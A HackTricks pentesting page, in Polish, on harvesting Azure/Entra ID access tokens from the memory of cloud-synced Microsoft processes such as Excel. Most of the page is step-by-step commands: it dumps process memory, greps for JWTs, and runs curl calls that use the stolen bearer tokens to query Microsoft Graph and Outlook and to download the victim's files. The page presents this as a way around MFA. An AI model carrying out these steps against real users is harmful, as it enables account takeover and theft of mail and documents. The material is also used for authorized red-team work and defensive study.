Az - Processes Memory Access Token

Support HackTricks

Podstawowe informacje

Jak wyjaśniono w tym wideo, niektóre oprogramowanie Microsoftu synchronizowane z chmurą (Excel, Teams...) może przechowywać tokeny dostępu w postaci tekstu jawnego w pamięci. Więc po prostu zrzucenie pamięci procesu i przeszukiwanie jej pod kątem tokenów JWT może dać ci dostęp do kilku zasobów ofiary w chmurze, omijając MFA.

Kroki:

  1. Zrzutuj procesy excela synchronizowane z użytkownikiem EntraID za pomocą swojego ulubionego narzędzia.

  2. Uruchom: string excel.dmp | grep 'eyJ0' i znajdź kilka tokenów w wynikach

  3. Znajdź tokeny, które najbardziej cię interesują i uruchom nad nimi narzędzia:

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Zauważ, że tego rodzaju tokeny dostępu można również znaleźć w innych procesach.

Wsparcie HackTricks

Last updated